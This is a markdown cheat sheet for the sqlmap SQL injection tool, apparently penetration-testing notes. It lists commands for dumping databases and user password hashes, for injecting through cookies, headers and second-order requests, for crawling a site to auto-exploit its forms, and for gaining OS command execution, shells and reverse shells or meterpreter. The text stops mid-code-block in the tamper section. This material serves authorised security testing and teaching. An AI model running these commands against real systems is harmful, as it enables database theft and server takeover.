# SQLMap - Cheetsheat

## Basic arguments for SQLmap

### Generic

```bash
-u "<URL>" 
-p "<PARAM TO TEST>" 
--user-agent=SQLMAP 
--random-agent 
--threads=10 
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>" 
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```

### Retrieve Information

#### Internal

```bash

--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```

#### DB data

```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```

## Injection place

### From Burp/ZAP capture

Capture the request and create a req.txt file

```bash
sqlmap -r req.txt --current-user
```

### GET Request Injection

```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```

### POST Request Injection

```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```

### Injections in Headers and other HTTP Methods

```bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'
```

### Second order injection

```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```

### Shell

```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```

### Crawl a website with SQLmap and auto-exploit

```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```

## Customizing Injection

### Set a suffix

```bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
```

### Prefix

```bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "
```

### Help finding boolean injection

```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```

### Tamper

```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
